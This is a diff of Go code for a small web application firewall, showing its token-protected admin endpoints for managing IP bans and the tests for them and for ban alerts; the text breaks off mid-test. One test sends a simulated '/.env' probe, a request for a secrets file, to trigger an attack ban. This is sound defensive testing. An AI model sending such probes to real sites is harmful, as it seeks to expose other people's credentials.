"sneak.berlin/go/smallwebwaf/internal/state"
|
||||
)
|
||||
|
||||
// banBodyMaxBytes is the most of the body of a request to add a ban that
|
||||
// is read; its three fields need far less.
|
||||
const banBodyMaxBytes = 4 << 10
|
||||
|
||||
// permanent is how the log line and the ban endpoint name a ban that
|
||||
// never ends.
|
||||
const permanent = "permanent"
|
||||
|
||||
var (
|
||||
errNotBanToAdd = errors.New(
|
||||
"the body is not a JSON object of netblock, duration and reason")
|
||||
errNotNetblock = errors.New(
|
||||
"is not an address or a netblock, such as 203.0.113.9 or 203.0.113.0/24")
|
||||
errMappedNetblock = errors.New(
|
||||
"is IPv4-mapped: give the IPv4 netblock, such as 203.0.113.0/24")
|
||||
errZone = errors.New("has a zone, which a netblock cannot have")
|
||||
errNotDuration = errors.New(
|
||||
"is not a duration above zero, such as 1h or 7d, or permanent")
|
||||
errNotAddress = errors.New("is not an address, such as 203.0.113.9")
|
||||
)
|
||||
|
||||
// answerHealth answers a request for the health endpoint.
|
||||
func (rq *request) answerHealth() {
|
||||
rq.line.Action = requestlog.ActionOwnEndpoint
|
||||
// Set here rather than left to Go's server, which would set it only
|
||||
// after the log line has taken the response's headers.
|
||||
rq.out.Header().Set("Content-Type", "text/plain; charset=utf-8")
|
||||
_, _ = io.WriteString(rq.out, "ok\n")
|
||||
}
|
||||
|
||||
// answerAdmin answers a request for one of discriminator's own endpoints. Each
|
||||
// needs a token, sent as Authorization: Bearer <token>: the metrics
|
||||
// SWW_METRICS_TOKEN, the others SWW_ADMIN_TOKEN. A request without it is
|
||||
// refused with 401. An endpoint whose token is unset answers 404, as any other
|
||||
// path does.
|
||||
func (rq *request) answerAdmin() {
|
||||
rq.line.Action = requestlog.ActionOwnEndpoint
|
||||
|
||||
token, answer := rq.endpoint()
|
||||
|
||||
switch {
|
||||
case token == "":
|
||||
http.Error(rq.out, http.StatusText(http.StatusNotFound), http.StatusNotFound)
|
||||
case !hasToken(rq.in, token):
|
||||
rq.out.Header().Set("WWW-Authenticate", "Bearer")
|
||||
http.Error(rq.out, http.StatusText(http.StatusUnauthorized), http.StatusUnauthorized)
|
||||
default:
|
||||
answer()
|
||||
}
|
||||
}
|
||||
|
||||
// endpoint returns the token the request's endpoint needs, and what
|
||||
// answers the request there; "" when there is no such endpoint.
|
||||
func (rq *request) endpoint() (string, func()) {
|
||||
cfg := rq.h.config
|
||||
method, path := rq.in.Method, rq.in.URL.Path
|
||||
|
||||
switch {
|
||||
case method == http.MethodGet && path == MetricsPath:
|
||||
return cfg.MetricsToken, func() { rq.h.metrics.ServeHTTP(rq.out, rq.in) }
|
||||
case method == http.MethodGet && path == BansPath:
|
||||
return cfg.AdminToken, rq.listBans
|
||||
case method == http.MethodPost && path == BansPath:
|
||||
return cfg.AdminToken, rq.addBan
|
||||
case method == http.MethodDelete && strings.HasPrefix(path, BansPath+"/"):
|
||||
return cfg.AdminToken, rq.liftBans
|
||||
case method == http.MethodGet && strings.HasPrefix(path, ClientsPath):
|
||||
return cfg.AdminToken, rq.showClient
|
||||
default:
|
||||
return "", nil
|
||||
}
|
||||
}
|
||||
|
||||
// hasToken reports whether r carries token, as Authorization: Bearer
|
||||
// <token>.
|
||||
func hasToken(r *http.Request, token string) bool {
|
||||
scheme, sent, _ := strings.Cut(r.Header.Get("Authorization"), " ")
|
||||
|
||||
return strings.EqualFold(scheme, "Bearer") &&
|
||||
subtle.ConstantTimeCompare([]byte(sent), []byte(token)) == 1
|
||||
}
|
||||
|
||||
// listBans answers GET BansPath with every ban held.
|
||||
func (rq *request) listBans() {
|
||||
rq.answerBans(rq.h.ledger.Snapshot())
|
||||
}
|
||||
|
||||
// banToAdd is the body of POST BansPath.
|
||||
type banToAdd struct {
|
||||
// Netblock is a netblock, or a client's address, which stands for the
|
||||
// netblock a ban on that client covers.
|
||||
Netblock string `json:"netblock"`
|
||||
// Duration is how long the ban lasts, as a setting gives a duration,
|
||||
// or permanent.
|
||||
Duration string `json:"duration"`
|
||||
Reason string `json:"reason"`
|
||||
}
|
||||
|
||||
// addBan answers POST BansPath: it bans the netblock the body names, as
|
||||
// an admin, from now for the duration the body gives, with its reason,
|
||||
// and answers with that ban.
|
||||
func (rq *request) addBan() {
|
||||
toAdd, err := rq.readBanToAdd()
|
||||
|
||||
var (
|
||||
netblock netip.Prefix
|
||||
expires time.Time
|
||||
now = rq.h.now()
|
||||
)
|
||||
|
||||
if err == nil {
|
||||
netblock, err = rq.h.banNetblock(toAdd.Netblock)
|
||||
}
|
||||
|
||||
if err == nil {
|
||||
expires, err = expiry(toAdd.Duration, now)
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
http.Error(rq.out, err.Error(), http.StatusBadRequest)
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
ban := rq.h.ledger.BanForAdmin(netblock, now, expires, toAdd.Reason)
|
||||
rq.answerBans([]bans.Ban{ban})
|
||||
}
|
||||
|
||||
// readBanToAdd reads the body of POST BansPath: a JSON object with
|
||||
// nothing but whitespace after it, in at most banBodyMaxBytes.
|
||||
func (rq *request) readBanToAdd() (banToAdd, error) {
|
||||
data, err := io.ReadAll(http.MaxBytesReader(nil, rq.in.Body, banBodyMaxBytes))
|
||||
rq.requestBytes = int64(len(data))
|
||||
|
||||
if err != nil {
|
||||
return banToAdd{}, fmt.Errorf("%w: %w", errNotBanToAdd, err)
|
||||
}
|
||||
|
||||
var toAdd banToAdd
|
||||
|
||||
decoder := json.NewDecoder(bytes.NewReader(data))
|
||||
decoder.DisallowUnknownFields()
|
||||
|
||||
err = decoder.Decode(&toAdd)
|
||||
if err != nil {
|
||||
return banToAdd{}, fmt.Errorf("%w: %w", errNotBanToAdd, err)
|
||||
}
|
||||
|
||||
// Token returns io.EOF only when nothing but whitespace is left.
|
||||
_, err = decoder.Token()
|
||||
if !errors.Is(err, io.EOF) {
|
||||
return banToAdd{}, fmt.Errorf("%w: more follows the object", errNotBanToAdd)
|
||||
}
|
||||
|
||||
return toAdd, nil
|
||||
}
|
||||
|
||||
// banNetblock reads value, a netblock such as 203.0.113.0/24, or a
|
||||
// client's address, which stands for the netblock a ban on that client
|
||||
// covers. An IPv4-mapped netblock, such as ::ffff:203.0.113.0/120, is
|
||||
// refused, since a client's address is looked up as IPv4 and a ban on it
|
||||
// would refuse nothing, and so is a value with a zone.
|
||||
func (h *handler) banNetblock(value string) (netip.Prefix, error) {
|
||||
netblock, err := netip.ParsePrefix(value)
|
||||
if err == nil {
|
||||
if netblock.Addr().Is4In6() {
|
||||
return netip.Prefix{}, fmt.Errorf("netblock %q %w", value, errMappedNetblock)
|
||||
}
|
||||
|
||||
return netblock, nil
|
||||
}
|
||||
|
||||
// ParsePrefix refuses a zone, but ParseAddr reads the /48 of
|
||||
// 2001:db8::1%x/48 as part of the zone.
|
||||
addr, err := netip.ParseAddr(value)
|
||||
if err != nil {
|
||||
return netip.Prefix{}, fmt.Errorf("netblock %q %w", value, errNotNetblock)
|
||||
}
|
||||
|
||||
if addr.Zone() != "" {
|
||||
return netip.Prefix{}, fmt.Errorf("netblock %q %w", value, errZone)
|
||||
}
|
||||
|
||||
return h.netblock(addr), nil
|
||||
}
|
||||
|
||||
// expiry returns when a ban made at now for duration ends: duration
|
||||
// later, for a duration as a setting gives one, or zero for permanent.
|
||||
func expiry(duration string, now time.Time) (time.Time, error) {
|
||||
if duration == permanent {
|
||||
return time.Time{}, nil
|
||||
}
|
||||
|
||||
length, err := config.ParseDurationNotOff(duration)
|
||||
if err != nil {
|
||||
return time.Time{}, fmt.Errorf("duration %q %w", duration, errNotDuration)
|
||||
}
|
||||
|
||||
return now.Add(length), nil
|
||||
}
|
||||
|
||||
// liftBans answers DELETE BansPath/<client>: it lifts every ban active on
|
||||
// a netblock the client's address is in, and answers with those bans, or
|
||||
// with 404 when none is active.
|
||||
func (rq *request) liftBans() {
|
||||
client, err := pathAddress(rq.in.URL.Path, BansPath+"/")
|
||||
if err != nil {
|
||||
http.Error(rq.out, err.Error(), http.StatusBadRequest)
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
lifted := rq.h.ledger.Lift(client, rq.h.now())
|
||||
if len(lifted) == 0 {
|
||||
http.Error(rq.out, "no ban is active on "+client.String(), http.StatusNotFound)
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
rq.answerBans(lifted)
|
||||
}
|
||||
|
||||
// clientAnswer is the answer to GET ClientsPath<ip>: the client the
|
||||
// address is, as clients.json holds it, or null when the table of
|
||||
// clients does not hold it, and the bans on each netblock the address is
|
||||
// in, as bans.json lists them.
|
||||
type clientAnswer struct {
|
||||
Client *ratelimit.Client `json:"client"`
|
||||
Bans []state.BanEntry `json:"bans"`
|
||||
}
|
||||
|
||||
// showClient answers GET ClientsPath<ip> with what discriminator knows of the client:
|
||||
// its counters, its history, which holds its country as last looked up and its
|
||||
// offences, and its bans with their notes.
|
||||
func (rq *request) showClient() {
|
||||
addr, err := pathAddress(rq.in.URL.Path, ClientsPath)
|
||||
if err != nil {
|
||||
http.Error(rq.out, err.Error(), http.StatusBadRequest)
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
answer := clientAnswer{Bans: state.BanEntries(rq.h.ledger.Covering(addr))}
|
||||
|
||||
client, seen := rq.h.limiter.Client(rq.h.clientGroup(addr))
|
||||
if seen {
|
||||
answer.Client = &client
|
||||
}
|
||||
|
||||
rq.answerJSON(answer)
|
||||
}
|
||||
|
||||
// pathAddress reads the client's address that follows prefix in path.
|
||||
func pathAddress(path, prefix string) (netip.Addr, error) {
|
||||
value := strings.TrimPrefix(path, prefix)
|
||||
|
||||
addr, err := netip.ParseAddr(value)
|
||||
if err != nil {
|
||||
return netip.Addr{}, fmt.Errorf("%q %w", value, errNotAddress)
|
||||
}
|
||||
|
||||
return addr.Unmap(), nil
|
||||
}
|
||||
|
||||
// answerBans answers with held under bans, as bans.json lists them.
|
||||
func (rq *request) answerBans(held []bans.Ban) {
|
||||
rq.answerJSON(struct {
|
||||
Bans []state.BanEntry `json:"bans"`
|
||||
}{state.BanEntries(held)})
|
||||
}
|
||||
|
||||
// answerJSON answers with value as indented JSON.
|
||||
func (rq *request) answerJSON(value any) {
|
||||
body, err := json.MarshalIndent(value, "", " ")
|
||||
if err != nil {
|
||||
rq.h.processLog.Error("encoding an answer failed", "error", err.Error())
|
||||
http.Error(rq.out, http.StatusText(http.StatusInternalServerError),
|
||||
http.StatusInternalServerError)
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
rq.out.Header().Set("Content-Type", "application/json")
|
||||
_, _ = rq.out.Write(append(body, '\n'))
|
||||
}
|
||||
@@ -1,422 +0,0 @@
|
||||
package discriminator_test
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"net/netip"
|
||||
"reflect"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/bans"
|
||||
"sneak.berlin/go/smallwebwaf/internal/discriminator"
|
||||
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
|
||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||
"sneak.berlin/go/smallwebwaf/internal/state"
|
||||
)
|
||||
|
||||
const (
|
||||
adminToken = "SWW_ADMIN_TOKEN" //nolint:gosec // the setting's name
|
||||
// adminSecret is the SWW_ADMIN_TOKEN the tests set, and adminBearer
|
||||
// how a request carries it.
|
||||
adminSecret = "fedcba9876543210fedcba9876543210"
|
||||
adminBearer = "Bearer " + adminSecret
|
||||
// banOtherClient is the body of a request to ban otherClient for an
|
||||
// hour.
|
||||
banOtherClient = `{"netblock": "` + otherClient + `", "duration": "1h", ` +
|
||||
`"reason": "probes for logins"}`
|
||||
)
|
||||
|
||||
func TestAdminEndpointsAreOffWhileTheTokenIsUnset(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
// The metrics token is set, and opens none of them.
|
||||
s, clk, server := startWithClock(t, "", map[string]string{metricsToken: token})
|
||||
server.Ledger.BanForLimit(netip.MustParsePrefix(otherClient+"/32"), clk.Now(),
|
||||
bans.Notes{})
|
||||
before := server.Ledger.Snapshot()
|
||||
|
||||
// An empty token does not match the unset one either.
|
||||
for _, authorization := range []string{adminBearer, bearer, "Bearer ", ""} {
|
||||
for _, e := range adminEndpoints() {
|
||||
s.ownEndpointRequest(authorization, e.method, e.path, e.body, http.StatusNotFound)
|
||||
}
|
||||
}
|
||||
|
||||
if after := server.Ledger.Snapshot(); !reflect.DeepEqual(after, before) {
|
||||
t.Errorf("the bans are now\n%+v\nwant them unchanged\n%+v", after, before)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAdminEndpointsNeedTheAdminToken(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, _, server := startWithClock(t, "", map[string]string{
|
||||
adminToken: adminSecret,
|
||||
metricsToken: token,
|
||||
})
|
||||
|
||||
// Listing the bans, banning otherClient, lifting that ban, and asking
|
||||
// about otherClient, in that order. Without the admin token, with the
|
||||
// metrics token, or with one that differs, each is refused, and
|
||||
// changes nothing; with the admin token, it is answered.
|
||||
for _, e := range adminEndpoints() {
|
||||
before := server.Ledger.Snapshot()
|
||||
|
||||
for _, authorization := range []string{
|
||||
"", bearer, "Bearer " + strings.ToUpper(adminSecret), "Basic " + adminSecret,
|
||||
} {
|
||||
got := s.ownEndpointRequest(authorization, e.method, e.path, e.body,
|
||||
http.StatusUnauthorized)
|
||||
if got.header.Get("WWW-Authenticate") != "Bearer" {
|
||||
t.Errorf("%s %s with %q was answered without WWW-Authenticate: Bearer",
|
||||
e.method, e.path, authorization)
|
||||
}
|
||||
}
|
||||
|
||||
if after := server.Ledger.Snapshot(); !reflect.DeepEqual(after, before) {
|
||||
t.Errorf("%s %s without the token changed the bans to\n%+v\nfrom\n%+v",
|
||||
e.method, e.path, after, before)
|
||||
}
|
||||
|
||||
got := s.admin(e.method, e.path, e.body, http.StatusOK)
|
||||
if got.header.Get("Content-Type") != "application/json" {
|
||||
t.Errorf("%s %s answered %q", e.method, e.path, got.header.Get("Content-Type"))
|
||||
}
|
||||
}
|
||||
|
||||
// Any other request under /_sww/ is not found.
|
||||
for _, e := range []adminEndpoint{
|
||||
{http.MethodPut, discriminator.BansPath, banOtherClient},
|
||||
{http.MethodDelete, discriminator.BansPath, ""},
|
||||
{http.MethodGet, discriminator.BansPath + "/" + otherClient, ""},
|
||||
{http.MethodPost, discriminator.ClientsPath + otherClient, ""},
|
||||
{http.MethodGet, strings.TrimSuffix(discriminator.ClientsPath, "/"), ""},
|
||||
} {
|
||||
s.admin(e.method, e.path, e.body, http.StatusNotFound)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBanAddedListedAndLiftedThroughTheEndpoints(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, clk, _ := startWithClock(t, "", map[string]string{
|
||||
adminToken: adminSecret,
|
||||
banScopeV4Prefix: "24",
|
||||
})
|
||||
|
||||
// A ban on otherClient bans the /24 a ban on that client covers, so it
|
||||
// refuses client too, for an hour.
|
||||
start := clk.Now()
|
||||
expires := start.Add(time.Hour)
|
||||
want := state.BanEntry{
|
||||
Netblock: netip.MustParsePrefix("203.0.113.0/24"),
|
||||
Start: start,
|
||||
Expires: &expires,
|
||||
Cause: bans.CauseAdmin,
|
||||
Reason: "probes for logins",
|
||||
}
|
||||
|
||||
wantBans(t, s.admin(http.MethodPost, discriminator.BansPath, banOtherClient,
|
||||
http.StatusOK), want)
|
||||
|
||||
line := s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
|
||||
if line.BanExpires != requestlog.FormatTime(expires) {
|
||||
t.Errorf("the ban ends at %s, want %s", line.BanExpires, expires)
|
||||
}
|
||||
|
||||
// Its notes count the request it refused.
|
||||
want.Notes.Requests, want.Notes.Refused = 1, 1
|
||||
|
||||
wantBans(t, s.admin(http.MethodGet, discriminator.BansPath, "", http.StatusOK), want)
|
||||
|
||||
// Ten minutes on, lifting the bans on client lifts that one, which is
|
||||
// kept, marked lifted.
|
||||
clk.advance(10 * time.Minute)
|
||||
|
||||
lifted := clk.Now()
|
||||
want.Lifted = &lifted
|
||||
|
||||
wantBans(t, s.admin(http.MethodDelete, discriminator.BansPath+"/"+client, "",
|
||||
http.StatusOK), want)
|
||||
s.get(client, http.StatusOK, requestlog.ActionForward)
|
||||
wantBans(t, s.admin(http.MethodGet, discriminator.BansPath, "", http.StatusOK), want)
|
||||
|
||||
// No ban on it is active any more.
|
||||
s.admin(http.MethodDelete, discriminator.BansPath+"/"+client, "", http.StatusNotFound)
|
||||
}
|
||||
|
||||
func TestBanToAddGivesItsNetblockAndDuration(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, clk, _ := startWithClock(t, "", map[string]string{
|
||||
adminToken: adminSecret,
|
||||
banScopeV4Prefix: "24",
|
||||
})
|
||||
start := clk.Now()
|
||||
|
||||
for _, tc := range []struct {
|
||||
netblock, duration string
|
||||
want string
|
||||
length time.Duration // 0 for a permanent ban
|
||||
}{
|
||||
// An address stands for the netblock a ban on that client covers.
|
||||
{client, "7d", "203.0.113.0/24", 7 * 24 * time.Hour},
|
||||
{"::ffff:198.51.100.7", "90m", "198.51.100.0/24", 90 * time.Minute},
|
||||
{"2001:db8:5::1", "permanent", "2001:db8:5::/64", 0},
|
||||
// A netblock stands for itself, its bits past its length cleared.
|
||||
{"198.51.100.7/16", "1h", "198.51.0.0/16", time.Hour},
|
||||
{"2001:db8:6::/48", "1h", "2001:db8:6::/48", time.Hour},
|
||||
} {
|
||||
// Whitespace may follow the object.
|
||||
body := `{"netblock": "` + tc.netblock + `", "duration": "` + tc.duration + `"}` +
|
||||
"\r\n"
|
||||
want := state.BanEntry{
|
||||
Netblock: netip.MustParsePrefix(tc.want), Start: start, Cause: bans.CauseAdmin,
|
||||
}
|
||||
|
||||
if tc.length != 0 {
|
||||
expires := start.Add(tc.length)
|
||||
want.Expires = &expires
|
||||
}
|
||||
|
||||
wantBans(t, s.admin(http.MethodPost, discriminator.BansPath, body, http.StatusOK),
|
||||
want)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBanToAddThatCannotBeReadIsRefused(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, _, server := startWithClock(t, "", map[string]string{adminToken: adminSecret})
|
||||
|
||||
for _, tc := range []struct{ body, want string }{
|
||||
{"", "the body is not a JSON object of netblock, duration and reason: EOF"},
|
||||
{"netblock=203.0.113.9", "the body is not a JSON object"},
|
||||
{
|
||||
`{"netblock": "203.0.113.9", "duration": "1h", "until": "2027"}`,
|
||||
`unknown field "until"`,
|
||||
},
|
||||
{
|
||||
`{"netblock": "203.0.113", "duration": "1h"}`,
|
||||
`netblock "203.0.113" is not an address or a netblock`,
|
||||
},
|
||||
// A client's address is looked up as IPv4, so a ban on an
|
||||
// IPv4-mapped netblock would refuse nothing.
|
||||
{
|
||||
`{"netblock": "::ffff:203.0.113.0/120", "duration": "1h"}`,
|
||||
`netblock "::ffff:203.0.113.0/120" is IPv4-mapped`,
|
||||
},
|
||||
// Read as an address, its zone would be "x/48", and its ban on the
|
||||
// /64 around it.
|
||||
{
|
||||
`{"netblock": "2001:db8::1%x/48", "duration": "1h"}`,
|
||||
`netblock "2001:db8::1%x/48" has a zone`,
|
||||
},
|
||||
{
|
||||
`{"netblock": "fe80::1%eth0", "duration": "1h"}`,
|
||||
`netblock "fe80::1%eth0" has a zone`,
|
||||
},
|
||||
// Anything but whitespace after the object.
|
||||
{
|
||||
`{"netblock": "203.0.113.9", "duration": "1h"}` +
|
||||
`{"netblock": "198.51.100.0/24", "duration": "1h"}`,
|
||||
"more follows the object",
|
||||
},
|
||||
{`{"netblock": "203.0.113.9", "duration": "1h"} x`, "more follows the object"},
|
||||
{`{"duration": "1h"}`, `netblock "" is not an address or a netblock`},
|
||||
{`{"netblock": "203.0.113.9"}`, `duration "" is not a duration above zero`},
|
||||
{
|
||||
`{"netblock": "203.0.113.9", "duration": "off"}`,
|
||||
`duration "off" is not a duration above zero`,
|
||||
},
|
||||
{
|
||||
`{"netblock": "203.0.113.9", "duration": "0s"}`,
|
||||
`duration "0s" is not a duration above zero`,
|
||||
},
|
||||
{
|
||||
`{"netblock": "203.0.113.9", "duration": "forever"}`,
|
||||
`duration "forever" is not a duration above zero, such as 1h or 7d, ` +
|
||||
`or permanent`,
|
||||
},
|
||||
// Over the 4 KiB read of a body, even when the object comes first.
|
||||
{
|
||||
`{"netblock": "203.0.113.9", "duration": "1h", "reason": "` +
|
||||
strings.Repeat("x", 4<<10) + `"}`,
|
||||
"request body too large",
|
||||
},
|
||||
{
|
||||
`{"netblock": "203.0.113.9", "duration": "1h"}` + strings.Repeat(" ", 4<<10),
|
||||
"request body too large",
|
||||
},
|
||||
} {
|
||||
got := s.admin(http.MethodPost, discriminator.BansPath, tc.body,
|
||||
http.StatusBadRequest)
|
||||
if !strings.Contains(string(got.body), tc.want) {
|
||||
t.Errorf("%.80s was answered %q, want it to say %q", tc.body, got.body, tc.want)
|
||||
}
|
||||
}
|
||||
|
||||
if held := server.Ledger.Snapshot(); len(held) != 0 {
|
||||
t.Errorf("the ledger holds %+v, want no ban", held)
|
||||
}
|
||||
}
|
||||
|
||||
func TestClientEndpointShowsTheClientAndItsBans(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, clk, _ := startWithClock(t, "", map[string]string{
|
||||
adminToken: adminSecret,
|
||||
rateLimitPerMinute: "2",
|
||||
})
|
||||
start := clk.Now()
|
||||
|
||||
// Two of otherClient's requests are let through; the third breaks the
|
||||
// limit of two a minute, and bans it.
|
||||
s.get(otherClient, http.StatusOK, requestlog.ActionForward)
|
||||
s.get(otherClient, http.StatusOK, requestlog.ActionForward)
|
||||
s.get(otherClient, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
|
||||
|
||||
// Asked about by its address in IPv6 form too.
|
||||
for _, addr := range []string{otherClient, "::ffff:" + otherClient} {
|
||||
var got struct {
|
||||
Client *ratelimit.Client `json:"client"`
|
||||
Bans []state.BanEntry `json:"bans"`
|
||||
}
|
||||
|
||||
decode(t, s.admin(http.MethodGet, discriminator.ClientsPath+addr, "",
|
||||
http.StatusOK), &got)
|
||||
|
||||
if got.Client == nil {
|
||||
t.Fatalf("%s: no client", addr)
|
||||
}
|
||||
|
||||
history := got.Client.History
|
||||
if got.Client.Client != netip.MustParsePrefix(otherClient+"/32") ||
|
||||
history.Requests != 3 || history.Forwarded != 2 || history.Refused != 1 ||
|
||||
history.Offences.Limit != 1 || !history.FirstSeen.Equal(start) {
|
||||
t.Errorf("%s: client %+v", addr, got.Client)
|
||||
}
|
||||
|
||||
if len(got.Bans) != 1 || got.Bans[0].Cause != bans.CauseLimit ||
|
||||
got.Bans[0].Reason != "requests per minute over the limit of 2" ||
|
||||
got.Bans[0].Notes.Count != 3 {
|
||||
t.Errorf("%s: bans %+v, want the one for the broken limit", addr, got.Bans)
|
||||
}
|
||||
}
|
||||
|
||||
// Of an address no request came from and no ban covers, nothing is
|
||||
// known.
|
||||
got := s.admin(http.MethodGet, discriminator.ClientsPath+"198.51.100.99", "",
|
||||
http.StatusOK)
|
||||
if string(got.body) != "{\n \"client\": null,\n \"bans\": []\n}\n" {
|
||||
t.Errorf("an unknown client is answered\n%s", got.body)
|
||||
}
|
||||
|
||||
s.admin(http.MethodGet, discriminator.ClientsPath+"203.0.113", "",
|
||||
http.StatusBadRequest)
|
||||
s.admin(http.MethodDelete, discriminator.BansPath+"/203.0.113.0/24", "",
|
||||
http.StatusBadRequest)
|
||||
}
|
||||
|
||||
func TestAdminEndpointsNeedTheTokenInObserveMode(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, _, server := startWithClock(t, "", map[string]string{
|
||||
adminToken: adminSecret,
|
||||
mode: observe,
|
||||
})
|
||||
|
||||
for _, e := range adminEndpoints() {
|
||||
s.ownEndpointRequest("", e.method, e.path, e.body, http.StatusUnauthorized)
|
||||
}
|
||||
|
||||
if held := server.Ledger.Snapshot(); len(held) != 0 {
|
||||
t.Errorf("the ledger holds %+v, want no ban", held)
|
||||
}
|
||||
}
|
||||
|
||||
// adminEndpoint is a request to an endpoint SWW_ADMIN_TOKEN opens.
|
||||
type adminEndpoint struct {
|
||||
method, path, body string
|
||||
}
|
||||
|
||||
// adminEndpoints returns a request to each endpoint SWW_ADMIN_TOKEN
|
||||
// opens: listing the bans, banning otherClient for an hour, lifting the
|
||||
// bans on otherClient, and asking about otherClient.
|
||||
func adminEndpoints() []adminEndpoint {
|
||||
return []adminEndpoint{
|
||||
{http.MethodGet, discriminator.BansPath, ""},
|
||||
{http.MethodPost, discriminator.BansPath, banOtherClient},
|
||||
{http.MethodDelete, discriminator.BansPath + "/" + otherClient, ""},
|
||||
{http.MethodGet, discriminator.ClientsPath + otherClient, ""},
|
||||
}
|
||||
}
|
||||
|
||||
// admin sends a request with method for path, with body, to discriminator's own
|
||||
// address, with the admin token, and checks that it is answered with status, its
|
||||
// log line's action own_endpoint. It returns the answer.
|
||||
func (s *sender) admin(method, path, body string, status int) answer {
|
||||
s.t.Helper()
|
||||
|
||||
return s.ownEndpointRequest(adminBearer, method, path, body, status)
|
||||
}
|
||||
|
||||
// ownEndpointRequest is admin with authorization as the request's Authorization
|
||||
// header unless it is "".
|
||||
func (s *sender) ownEndpointRequest(
|
||||
authorization, method, path, body string, status int,
|
||||
) answer {
|
||||
s.t.Helper()
|
||||
|
||||
req := newRequest(s.t, method, s.discriminatorAddr, path, strings.NewReader(body))
|
||||
if authorization != "" {
|
||||
req.Header.Set("Authorization", authorization)
|
||||
}
|
||||
|
||||
got := do(s.t, req)
|
||||
wantStatus(s.t, got, status)
|
||||
|
||||
line := s.out.endedLines(s.t, s.sent+1)[s.sent]
|
||||
s.sent++
|
||||
wantLine(s.t, line, status, requestlog.ActionOwnEndpoint)
|
||||
|
||||
return got
|
||||
}
|
||||
|
||||
// wantBans checks that a ban endpoint answered with want, and no other
|
||||
// ban.
|
||||
func wantBans(t *testing.T, got answer, want ...state.BanEntry) {
|
||||
t.Helper()
|
||||
|
||||
var decoded struct {
|
||||
Bans []state.BanEntry `json:"bans"`
|
||||
}
|
||||
|
||||
decode(t, got, &decoded)
|
||||
|
||||
gotJSON, err := json.Marshal(decoded.Bans)
|
||||
if err != nil {
|
||||
t.Fatalf("encode %+v: %v", decoded.Bans, err)
|
||||
}
|
||||
|
||||
wantJSON, err := json.Marshal(want)
|
||||
if err != nil {
|
||||
t.Fatalf("encode %+v: %v", want, err)
|
||||
}
|
||||
|
||||
if string(gotJSON) != string(wantJSON) {
|
||||
t.Errorf("bans\n%s\nwant\n%s", gotJSON, wantJSON)
|
||||
}
|
||||
}
|
||||
|
||||
// decode reads the JSON answer of an endpoint into value.
|
||||
func decode(t *testing.T, got answer, value any) {
|
||||
t.Helper()
|
||||
|
||||
err := json.Unmarshal(got.body, value)
|
||||
if err != nil {
|
||||
t.Fatalf("decode %s: %v", got.body, err)
|
||||
}
|
||||
}
|
||||
@@ -1,279 +0,0 @@
|
||||
package discriminator_test
|
||||
|
||||
import (
|
||||
"maps"
|
||||
"net/http"
|
||||
"net/netip"
|
||||
"reflect"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
||||
"sneak.berlin/go/smallwebwaf/internal/bans"
|
||||
"sneak.berlin/go/smallwebwaf/internal/discriminator"
|
||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||
)
|
||||
|
||||
const (
|
||||
alertWebhookURL = "SWW_ALERT_WEBHOOK_URL"
|
||||
alertMaxPerHour = "SWW_ALERT_MAX_PER_HOUR"
|
||||
// alertInstance is the instance every alert of these tests gives.
|
||||
alertInstance = "fsn1app1/blog"
|
||||
)
|
||||
|
||||
func TestBanForABrokenLimitRaisesABanAlertWithItsNotes(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, clk, server, queue := startWithAlerts(t, map[string]string{
|
||||
rateLimitPerMinute: "1",
|
||||
banScopeV4Prefix: "24",
|
||||
})
|
||||
start := clk.Now()
|
||||
|
||||
s.get(client, http.StatusOK, requestlog.ActionForward)
|
||||
s.get(client, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
|
||||
|
||||
netblock := netip.MustParsePrefix("203.0.113.0/24")
|
||||
ban := server.Ledger.Bans(netblock)[0]
|
||||
|
||||
// A request refused under the ban raises no other alert.
|
||||
clk.advance(time.Minute)
|
||||
s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
|
||||
|
||||
wantAlerts(t, queue, banAlert(alerts.EventBan, start, client, bans.Ban{
|
||||
Netblock: netblock, Cause: bans.CauseLimit,
|
||||
Reason: "requests per minute over the limit of 1", Notes: ban.Notes,
|
||||
}, requestlog.FormatTime(start.Add(time.Hour))))
|
||||
|
||||
if ban.Notes.Limit != 1 || ban.Notes.Request.Path != "/" {
|
||||
t.Errorf("the alert's notes are %+v, want those of the broken limit", ban.Notes)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAttackBanRaisesABanAlertThenAPermanentBanAlert(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, clk, server, queue := startWithAlerts(t, map[string]string{
|
||||
rulesDir: writeRules(t, testRules),
|
||||
})
|
||||
start := clk.Now()
|
||||
netblock := netip.MustParsePrefix(client + "/32")
|
||||
other := netip.MustParsePrefix(otherClient + "/32")
|
||||
|
||||
// The probe bans the client for seven days, and its next request makes
|
||||
// the ban permanent. The request after that changes nothing.
|
||||
s.request(client, "/.env", http.StatusForbidden, requestlog.ActionTemporarilyBanned)
|
||||
|
||||
attackBan := server.Ledger.Bans(netblock)[0]
|
||||
|
||||
clk.advance(time.Minute)
|
||||
